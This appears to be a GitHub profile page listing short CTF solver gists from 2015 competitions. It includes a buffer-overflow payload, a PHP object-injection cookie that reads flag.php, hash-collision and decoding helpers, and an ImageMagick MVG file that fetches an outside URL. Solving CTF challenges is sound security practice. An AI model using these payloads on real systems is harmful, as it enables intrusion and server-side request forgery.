Skip to content

Instantly share code, notes, and snippets.

View budanthara's full-sized avatar
🏠
Working from home

Ida Bagus Budanthara budanthara

🏠
Working from home
  • Indonesia
View GitHub Profile
# IDSECCONF2015 - IMFTest ( Misc 250pts )
# Solver by snoww0lf - Noobs1337
import socket
import re
import sys
import numpy as np
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('128.199.218.190', 17845))
# IDSECCONF2015 CTF - Easy Exploit ( 100pts )
# snoww0lf - Noobs1337
import socket
sc = ""
sc += 'A'*136
sc += '\x16\x06\x40'
sc += '\x00'*10
# IDSECCONF2015 CTF - Debugme ( Reversing 100pts )
# snoww0lf - Noobs1337
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('128.199.218.190', 15178))
data = ['0x6a', '0x6f', '0x6b', '0x6f', '0x6f', '0x6f', '0x21']
send_data = ''.join(data).replace("0x", "").decode("hex")
flag = ''
import urllib, urllib2
import re
# CSAW CTF 2015 - Solving Lawn Care Simulator 2015 ( Web 200pts )
# To analyze the php syntax, just clone the git. http://54.165.252.74:8089/.git/
# snoww0lf
def login():
url = "http://54.165.252.74:8089/premium.php"
params = {
@budanthara
budanthara / search.py
Created November 5, 2015 12:38
SchoolCTF 2015 PPC 200
def search():
flag = ''
start = 'start.txt'
st = True
while st:
with open(start, 'r') as f:
x = f.readlines()
c = x[0]
start = c[6:].replace("\n", "")
print "Membaca file %s " % (start)
"""
HackDatKiwi CTF 2015 - Phone Lock 1
"""
import hashlib
import random
salt = "abb6f243fb340025d312c2a41cfa8beb"
valid = "00a1e1072212ceae0445dcffde045da4"
@budanthara
budanthara / badboy.py
Last active April 27, 2016 18:08
...
# Usage: python filename.py originalfile collisionfile
# snoww0lf
import sys
from hashlib import *
coll_find = [19, 45, 59, 83, 109, 123]
d_out = []
def to_hex_conversion(data):
@budanthara
budanthara / wisely.py
Created December 11, 2015 14:48
Wisely Bit
import string
cipher = "233 129 9 5 130 194 195 39 75 229"
def decode():
flag = ""
strs = string.letters + "0123456789" + "{}_~*&^%$#@!()-"
to_list = ' '.join(strs).split(' ')
user_str = []
for char in strs:
import requests
import re
from urllib import quote_plus
def main():
cookie = quote_plus('760463360e4919ca238d1566fc26661fa:1:{i:0;O:16:"GPLSourceBloater":1:{s:6:"source";s:8:"flag.php";}}')
url = "http://104.154.70.126:10888/"
req = requests.get(url, cookies=dict(todos=cookie))
print 'hxp{'+' '.join(re.findall(r'hxp{(.*?)}', req.text)[0].split(" "))+'}'
push graphic-context
viewbox 0 0 640 480
fill 'url(http://103.200.7.150:8070/wew)'
pop graphic-context